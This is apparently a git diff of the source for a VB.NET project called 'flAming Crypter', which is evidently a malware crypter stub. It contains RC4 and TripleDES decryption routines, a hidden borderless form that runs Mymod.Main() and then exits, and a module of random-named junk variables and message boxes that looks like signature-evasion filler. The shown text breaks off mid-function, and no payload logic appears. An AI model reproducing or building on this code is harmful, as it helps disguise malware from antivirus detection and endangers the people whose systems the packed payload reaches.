<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.flAmingCrypter.My.MySettings
|
||||
Get
|
||||
Return Global.flAmingCrypter.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,133 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>flAmingCrypter.My.MyApplication</StartupObject>
|
||||
<RootNamespace>flAmingCrypter</RootNamespace>
|
||||
<AssemblyName>flAming Crypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationIcon>DM-Empty.ico</ApplicationIcon>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>flAming Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>flAming Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3des.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form2.Designer.vb">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form2.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="rc4.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Form2.resx">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="31.ico" />
|
||||
<Content Include="DM-Empty.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 54 KiB |
@@ -0,0 +1,53 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class rc4
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,26 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3des
|
||||
Public Shared Function a(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
Dim ReplacedkeyArray As Byte()
|
||||
Dim ReplacedtoEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
|
||||
If d Then
|
||||
Dim Replacedhashmd5 = New MD5CryptoServiceProvider()
|
||||
ReplacedkeyArray = Replacedhashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
Else
|
||||
ReplacedkeyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
End If
|
||||
|
||||
Dim Replacedtdes = New TripleDESCryptoServiceProvider()
|
||||
Replacedtdes.Key = ReplacedkeyArray
|
||||
Replacedtdes.Mode = CipherMode.ECB
|
||||
Replacedtdes.Padding = PaddingMode.PKCS7
|
||||
|
||||
Dim ReplacedcTransform As ICryptoTransform = Replacedtdes.CreateDecryptor()
|
||||
Dim ReplacedresultArray As Byte() = ReplacedcTransform.TransformFinalBlock(ReplacedtoEncryptArray, 0, ReplacedtoEncryptArray.Length)
|
||||
|
||||
Return UTF8Encoding.UTF8.GetString(ReplacedresultArray)
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,54 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class _4cr
|
||||
Public Shared Function enc(ByVal message As String, ByVal mykey As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = mykey.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (mykey.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(27, 12)
|
||||
Me.ForeColor = System.Drawing.Color.Transparent
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Name = "Form1"
|
||||
Me.Text = "Form1"
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,8 @@
|
||||
Public Class Form1
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Visible = False
|
||||
ShowInTaskbar = False
|
||||
Mymod.Main()
|
||||
Environment.Exit(0)
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,136 @@
|
||||
Module MxYSyPEqBCHrXbnCiMM
|
||||
Public Sub LSLypEGjjdTBcYXolFWYBLFbrIeYFKEWBKBxdbVxaKNBeM(ByVal gLWnCtzineaZbxjUqSyPwiQnSOCBOVHeZdgeTQOzRTiXOmMwa As String)
|
||||
Dim gbvUPvoCmbNivSJIBYjOvLRldX As String = "aYOalaUmgVFbqWczQeXbIorgRJFitlLPOyQlHKTbDlPdmXH"
|
||||
Dim XxbpZczzXWQQlymJ As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim TPqNHNPykmilOqOffFpDXHNMXoggMBUvhDjMYXMZFmGwmFMIlbQK As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim TaWVLmsIJeWTCmtTHQpBMEdihImPhnWDFPIxVnulcLJHcisWDGfyS As Integer = 8811579 + 1119618 + 459815 + 459815
|
||||
msgbox("xsziUHdxobDnehVWknhkcUVazkpmVTKZbBUmdtNIZqkSfguHZdiOuDOSKoRrArzesTWTTObvgMpshxkOMkxPKEPwXDZQmIWyZDkemQIpgUzTtvtghKVBgAuCSeJXnuwYDGFhoadeFPIJXCpyQEymRSYYeUPaLcurNecrjUIEmzLedstDxUblYiXzpZopOiktmZwWfZSCKaEr")
|
||||
msgbox("TRVAgkJSvFNPhZnJGsTXRYIViFhHKgzksahrhbhzJQWVcRHLhseJFfDlqtQyQniNpgaizwBykMHnJYjrHStqlSCFpbaxituvppYUvwwjQFQxcjLlDwMYYxlelghVqqqlbBYQbBmulwsNoaHiBeeXawbxMJehwIsZhTTjBnuTbnjyBZt")
|
||||
msgbox("LRgNZSLnXQypitztMybCekRwQaHDabgPEMSheTNNDDBnSHGgYwnEPzJFeUUdJystUDfmnUfEyIOWGXTQEwDGPiJFfOvcgSbWCEaEWIvNEurTSfTzBOgjzZzyPWrdNXOzyeNLYsqQcuEYSpjINdPpMLlbIQHYDndDryjuFDpcVfHtaOV")
|
||||
Dim XJVlGgzZdUipyYpePcfMPySFliQvHKwceLgFXNoKxmkgPCBFkgPgZZ As Integer = 813476
|
||||
Dim efTqmssvxyZTtdlqWcMLaktKCpkhOkVXMsBkdykvXywjyMwXcCMimKiz As Integer = 753618
|
||||
Dim GJwEuQScfKyDEpOPMDcUUceEHyaBVKzRfabWMzMJgLgFwOmEVxfCyGtL As Integer = 606360
|
||||
msgbox("WCjbCAcuYdpjowCGDXfUhnrWcNtySrUvImvusuBHhMGZncRngPaQvspuMAGiqiKhdkeIMPHlFPgGexenSsbKbJOzMEinUXRehrzYlhjNugcloaeoPCvLAHEUeToUeggSXDVyrSXXCGIWsgFYZnxauJznPqmlwdrgANHsGpJvekoVSmwZwvvNkinmVOrvxkmCTSWMFVk")
|
||||
Dim fhitRqKRyCSfQzyigtJmbrSMLaWvkrVRcHGgpYLQzJXlinLLxsQBYjvK As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim ukKSmAACbMnlBVY As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim CKcrsRqPCPYAEvonHylxNESY As String = "cppbSszPDtfgvCJzpmOOUzljQzlBbucDyzLSWxcBlWSGBuDBfkTEeWTkKZmUH"
|
||||
Dim msLhlioOGjMfQuZbrorhLjFGNUoxPtjUvbcgpPMqtXqInOLaPLxvcKDl As Integer = 703541
|
||||
Dim RhZiJxRBiD As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim QbTXcihgHkVHXTqnPAfiGHhXNf As String = "qwhyYjPSWizkXiFSsnIPvKPjZVDaySScSEpbhgJkbKV"
|
||||
Dim OuIahlIPMLBrU As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim GCrRwsEnSjXRuXOpxMPlPAmSqYddVJFINtUJjjiYovijpGazdtQeupA As Integer = 800723
|
||||
Dim XtlNBaxVScDclSFVYQtTCRpweSCXbSpJgWrfEJTpGTKUbssUogUfDOCB As Integer = 653464
|
||||
Dim ycobjrXAwYToLJqCvsrHTXUqjoojOjWypIzXPLXefVnEwIfcpwRWKuQMv As Integer = 9740290 + 556347 + 556347 + 556347
|
||||
Dim oqNygbnutBluabRxtx As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim wWnbSGnwNOxftpaywSqIGiXsb As String = "BUUdLnpFeybDVWWnXPELBugtcPsHIPZfrXtISdieyPzPzBoTn"
|
||||
Dim DVJwLjXFDPUJPcIfFEsqmbkCHTOMvEKYcetPqnehdYtndhBZrgBsxvak As Integer = 750646
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
Public Function QXwBfxfpGIwJHsxHfkylLJpfhtCBBtqqqWbglBJixZeWsVIqczlXzthMOUOKFycedvuJIRTsCODWcOlmzgzgMnOxDKWJQmJFPoSzlZbvwIrNRuDZFYyIIXtIQhW(ByVal sBZOoVFWoUVuSDag As String) As String
|
||||
On Error GoTo WEXWmrScOuZaSqYkpoAtEpaBBFaZTvlPyRDivgGuGeqWDPHJsFZFVmxBDpvm
|
||||
Dim DBuKzJrTimimVPrrQInkLSoMBjhPMSHaebBoNVEpwScuaQnDliDULzw As Integer = 9189446 + 1158894 + 499091 + 499091
|
||||
Dim YVJqEuzsiNxHfQTLbNggLsDniJTKaSAEkfDpRjHxsQogVKqnYuPsoPSB As Integer = 672161
|
||||
Dim lmtZUiXBQbGQneEVsaztIgnbiGePpjMZvRbOvXDQGGQnVquUgBzKJaJz As Integer = 524903
|
||||
msgbox("fJzelnoAQXPlbCHdGKGiQovnhJlgfwqcRVgjcPgueVBpmdrovAvXQreNhnLVUJKyUUKOiGegaREBpIqbeMWVxKeBCWjbTGnFaZmQnOroUgQAsyWhURdkvuqTymbqJpUNqKfcZpNhUqGbedVZqnEqyIeeKHzaLBlYFMoZknZjWuRhQHGBMWSSXcvDRxtyWcnijAoXAOgVzDMkwDCIGxOHTuhdkRMNXshbaTQoiPkCCTtMYCmht")
|
||||
Dim fCrCvMLUoOXyYJkOxZFocfRdGUhuggvZbBujoCszgdTXVsiLO As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim rtgIpAKhCcBDOgoOZfNgPtfeqZZsW As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim ZLhluqggtBpxhnlBzMBFzmNhFY As String = "OZjkybYlBTKGRJoWSThmAAIKmeSGrFqxxNkDBehYSKIEOVtFDvDlqwPSM"
|
||||
